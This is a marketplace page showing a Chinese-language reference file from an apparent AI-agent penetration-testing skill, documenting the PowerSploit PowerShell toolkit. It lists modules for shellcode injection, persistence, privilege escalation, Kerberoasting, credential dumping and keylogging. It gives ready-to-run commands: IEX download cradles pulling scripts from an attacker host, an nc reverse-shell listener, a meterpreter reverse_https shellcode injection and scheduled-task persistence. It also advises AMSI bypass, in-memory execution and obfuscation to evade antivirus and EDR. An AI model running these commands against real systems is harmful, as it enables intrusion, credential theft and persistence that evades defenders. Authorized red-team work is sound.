x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/post-exploitation/tools/powersploit.md
View on GitHub# PowerSploit
- **Category**: Post-Exploitation / PowerShell Modules
- **Risk Level**: 🔴 Critical
---
## 描述
一组用于渗透测试和红队行动的 PowerShell 模块集合。包含代码执行、脚本修改、持久化、权限提升、侦察、数据渗出和杀毒绕过等模块。安装后模块位于 `/usr/share/powersploit/`。脚本设计为在 Windows 目标上进行内存执行,通过 `Import-Module` 或 `IEX` 加载。
## 安装
```bash
sudo apt install powersploit
# 模块安装到 /usr/share/powersploit/
ls /usr/share/powersploit/
# 或从 GitHub 克隆
git clone https://github.com/PowerShellMafia/PowerSploit.git
```
## 参数说明
### CodeExecution
| 参数 | 说明 |
|------|------|
| `Invoke-Shellcode` | 向当前或远程进程注入 shellcode |
| `Invoke-DllInjection` | 向目标进程注入 DLL |
| `Invoke-ReflectivePEInjection` | 反射式加载 PE 到内存 |
| `Invoke-WmiCommand` | 通过 WMI 在远程主机上执行命令 |
### ScriptModification
| 参数 | 说明 |
|------|------|
| `Out-EncodedCommand` | Base64 编码 PowerShell 脚本以用于投递 |
| `Out-CompressedDll` | 将 DLL 压缩为 PowerShell 脚本 |
| `Out-EncryptedScript` | 使用密码加密脚本以安全传输 |
| `Remove-Comment` | 去除脚本中的注释以减少检测面 |
### Persistence
| 参数 | 说明 |
|------|------|
| `New-ElevatedPersistenceOption` | 创建提权(管理员)持久化触发器 |
| `New-UserPersistenceOption` | 创建用户级持久化触发器 |
| `Add-Persistence` | 使用已配置的触发器向脚本添加持久化 |
### PrivEsc (PowerUp)
| 参数 | 说明 |
|------|------|
| `Invoke-AllChecks` | 运行所有权限提升检查 |
| `Get-ServiceUnquoted` | 查找路径未加引号的服务 |
| `Get-ModifiableServiceFile` | 查找二进制文件可写的服务 |
| `Get-ModifiableService` | 查找配置可修改的服务 |
| `Write-ServiceBinary` | 使用 payload 替换服务二进制文件 |
| `Install-ServiceBinary` | 将 payload 安装为服务二进制文件并重启 |
### Recon (PowerView)
| 参数 | 说明 |
|------|------|
| `Get-DomainUser` | 枚举域用户 |
| `Get-DomainGroup` | 枚举域组 |
| `Get-DomainComputer` | 枚举域计算机 |
| `Find-DomainShare` | 查找可访问的网络共享 |
| `Get-DomainGPO` | 枚举组策略对象 |
| `Find-LocalAdminAccess` | 查找当前用户具有本地管理员权限的机器 |
| `Invoke-Kerberoast` | 请求并提取可 Kerberoast 的服务票据 |
### Exfiltration
| 参数 | 说明 |
|------|------|
| `Get-GPPPassword` | 提取组策略首选项密码 |
| `Get-VaultCredential` | 转储 Windows Vault 凭据 |
| `Invoke-Mimikatz` | 在内存中加载并执行 Mimikatz |
| `Invoke-NinjaCopy` | 使用原始磁盘访问复制锁定文件(SAM、NTDS.dit) |
| `Get-Keystrokes` | 记录键盘输入 |
### AntivirusBypass
| 参数 | 说明 |
|------|------|
| `Find-AVSignature` | 定位触发杀毒检测的字节序列 |
## 常用命令
```bash
# 从 Kali 提供 PowerSploit 模块
cd /usr/share/powersploit/
python3 -m http.server 8080
# 设置监听器接收反向 Shell payload
nc -lvnp 4444
```
```powershell
# 导入 PowerUp 并运行所有权限提升检查
IEX (New-Object Net.WebClient).DownloadString('http://<kali-ip>:8080/Privesc/PowerUp.ps1')
Invoke-AllChecks
# 查找路径未加引号的服务
Get-ServiceUnquoted
# 查找二进制文件可写的服务
Get-ModifiableServiceFile
# 导入 PowerView 进行域侦察
IEX (New-Object Net.WebClient).DownloadString('http://<kali-ip>:8080/Recon/PowerView.ps1')
Get-DomainUser -Identity jdoe
Get-DomainGroup -AdminCount
Find-DomainShare -CheckShareAccess
# 查找当前用户具有本地管理员权限的机器
Find-LocalAdminAccess
# Kerberoast——提取服务票据哈希用于离线破解
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash
# 从 SYSVOL 提取 GPP 密码
IEX (New-Object Net.WebClient).DownloadString('http://<kali-ip>:8080/Exfiltration/Get-GPPPassword.ps1')
Get-GPPPassword
# 向当前进程注入 shellcode
IEX (New-Object Net.WebClient).DownloadString('http://<kali-ip>:8080/CodeExecution/Invoke-Shellcode.ps1')
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <kali-ip> -Lport 443
# 编码脚本以通过命令行投递
Out-EncodedCommand -ScriptBlock { IEX (New-Object Net.WebClient).DownloadString('http://<kali-ip>:8080/Privesc/PowerUp.ps1'); Invoke-AllChecks }
# 使用计划任务触发器添加持久化
$ElevatedTrigger = New-ElevatedPersistenceOption -ScheduledTask -Hourly
Add-Persistence -FilePath .\payload.ps1 -ElevatedPersistenceOption $ElevatedTrigger
```
## 注意事项
1. PowerSploit 是模块集合——每个模块独立导入。只加载所需的特定模块以减少检测面。
2. 脚本设计为通过 `IEX` 进行内存执行。避免将模块写入目标磁盘,因为签名已被杀毒/EDR 广泛识别。
3. PowerView 是使用最广泛的模块——它提供全面的 Active Directory 枚举功能,无需 RSAT 或管理员权限。
4. PowerUp 的 `Invoke-AllChecks` 是在 Windows 主机上查找本地权限提升向量的最快方法。
5. AMSI 会阻止现代 Windows 上的大多数 PowerSploit 脚本——在导入模块前应用 AMSI 绕过技术。
6. 该项目已归档且不再维护。签名被现代杀毒/EDR 大量标记——考虑使用 Invoke-Obfuscation 进行混淆或使用积极维护的替代方案。
---
## 官方参考
- [PowerSploit (GitHub)](https://github.com/PowerShellMafia/PowerSploit)
- [Kali powersploit](https://www.kali.org/tools/powersploit/)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |